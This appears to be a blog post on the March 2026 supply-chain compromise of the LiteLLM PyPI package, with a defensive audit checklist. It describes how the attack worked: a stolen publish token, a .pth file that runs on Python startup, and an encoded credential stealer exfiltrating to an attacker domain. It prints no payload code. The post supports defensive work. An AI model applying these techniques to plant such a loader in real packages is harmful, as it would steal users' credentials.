LiteLLM Got Hacked. Here's Your AI Supply Chain Audit Checklist.

LiteLLM — the open-source universal LLM proxy that thousands of AI applications depend on — just had its "SolarWinds moment."

On March 24, 2026, security researchers discovered that litellm==1.82.8 (and likely 1.82.7) on PyPI contained a credential-stealing payload that exfiltrated SSH keys, AWS credentials, Kubernetes secrets, environment variables, shell history, and even crypto wallet files to an attacker-controlled server. The malicious code didn't require importing LiteLLM — it executed automatically the moment Python started, thanks to a .pth file injected into the package.

The attack vector? A poisoned Trivy dependency in LiteLLM's CI/CD pipeline that leaked the project's PYPI_PUBLISH token. The attacker used that token to push compromised versions directly to PyPI.

596 points and 244 comments on Hacker News. And the irony is thick: the tool everyone uses to abstract away LLM complexity became a single point of failure for the entire AI middleware stack.

⚠️ If you installed litellm==1.82.7 or 1.82.8 on ANY system — development, CI/CD, or production — assume all credentials on that machine are compromised. Rotate everything immediately. Both versions have been yanked from PyPI, but the damage to already-installed systems is done.

What Actually Happened: The Kill Chain

Here's the attack chain, reconstructed from the GitHub security issue and the maintainer's response on HN:

Step 1: Trivy Compromise. The attacker compromised a version of Trivy — a popular container vulnerability scanner — that LiteLLM used in its CI/CD pipeline. This is the upstream attack: infect a security tool to access the targets that trust it.

Step 2: PYPI_PUBLISH Token Exfiltration. The poisoned Trivy variant extracted the PYPI_PUBLISH token stored as an environment variable in LiteLLM's GitHub CI pipeline.

Step 3: Malicious Package Publication. Using the stolen token, the attacker published litellm==1.82.8 containing a file called litellm_init.pth.

Step 4: Automatic Execution via .pth. Python's site module automatically executes .pth files found in site-packages/ on interpreter startup. No import litellm required. If the package was installed, the payload ran every time Python started.

Step 5: Credential Harvesting. The payload — double base64-encoded to evade scanning — collected all environment variables, SSH keys, cloud credentials (AWS, GCP, Azure, K8s), Git credentials, shell history, crypto wallets, SSL private keys, and CI/CD secrets.

Step 6: Encrypted Exfiltration. The harvested data was encrypted with AES-256 and exfiltrated to models.litellm.cloud — NOT the legitimate litellm.ai domain.

💡 Key detail from HN: LiteLLM's maintainer confirmed accounts had 2FA enabled, but the PYPI_PUBLISH token — stored as a GitHub environment variable — was the weak link. 2FA doesn't protect tokens that are already provisioned with broad permissions.

Who's Affected

• Any team using LiteLLM as an LLM proxy — it's in thousands of production stacks
• CI/CD pipelines that pip install litellm during the affected window
• Development machines — any developer who got version 1.82.7 or 1.82.8
• Downstream dependencies — any package listing litellm as a dependency

Your AI Stack Audit Checklist

1. Check If You're Directly Affected

# Check installed version
pip show litellm 2>/dev/null | grep Version

# Check for the malicious .pth file
find $(python3 -c "import site; print(site.getsitepackages()[0])") \
  -name "litellm_init.pth" 2>/dev/null

# Check requirements files
grep -r "litellm" requirements*.txt pyproject.toml setup.py 2>/dev/null

2. Rotate Everything — No Exceptions

If affected, rotate in this order: (1) Cloud provider credentials, (2) PyPI/npm tokens, (3) SSH keys, (4) Database passwords, (5) All API keys, (6) Kubernetes secrets, (7) Git credentials.

3. Pin Dependencies and Verify Hashes

# pyproject.toml — pin EXACT versions
[project]
dependencies = [
    "litellm==1.82.6",
    "openai==1.68.0",
    "anthropic==0.49.0",
]

Use pip-compile with hash checking:

pip-compile --generate-hashes requirements.in -o requirements.txt
pip install --require-hashes -r requirements.txt

⚠️ Critical HN insight: One commenter was running production systems with uv run (live package resolution). When PyPI yanked LiteLLM, production broke. Never rely on live package resolution in production. Build artifacts. Use container images with pinned, hash-verified dependencies.

4. Isolate CI/CD Secrets

The root cause: a PYPI_PUBLISH token accessible to every CI step — including Trivy.

# GitHub Actions — GOOD: token only in publish step
jobs:
  test:
    steps:
      - run: pytest  # No access to PYPI_TOKEN
  publish:
    needs: test
    environment: pypi-publish
    steps:
      - uses: pypa/gh-action-pypi-publish@release/v1
        with:
          password: ${{ secrets.PYPI_PUBLISH }}

Even better: use PyPI Trusted Publishers with OIDC tokens.

5. Audit Your AI Dependencies

pip install pip-audit
pip-audit

AI stacks are uniquely dependency-heavy. A typical LLM app pulls 200+ transitive dependencies — each one is an attack surface.

6. Consider Alternative LLM Routing

Proxy	Type	Key Advantage
LiteLLM	OSS (Python)	Broadest model support
Portkey	Managed SaaS	No self-hosted dependency risk
OpenRouter	Managed API	Single API key, 100+ models
Direct SDKs	N/A	Eliminate the proxy entirely

7. Implement Secret-Memory Isolation for Agents

The NanoClaw Agent Vault represents the emerging approach: agents act on your behalf without raw credential access. Credentials live in a vault; the agent requests actions, not keys.

Dustin Ingram from the Python Software Foundation walks through PyPI's supply chain security model — the exact infrastructure exploited in this attack.

Understanding how LLM proxies and gateways work is essential for evaluating whether you need one — and how to secure it.

The Bigger Picture: AI's Supply Chain Problem

AI stacks are dependency-heavy by nature (300+ transitive deps). AI packages routinely handle API keys and credentials. And the "move fast" culture means teams adopt packages without security review.

The LiteLLM maintainers are handling this transparently. But the broader lesson: PyPI Trusted Publishers should be mandatory for popular packages, CI/CD secret isolation needs to be a first-class concern, and your production systems should never depend on PyPI being up or uncompromised.

---

This article will be updated as the LiteLLM team publishes their full postmortem. Follow the GitHub issue tracker for real-time updates.

Originally published at ComputeLeap.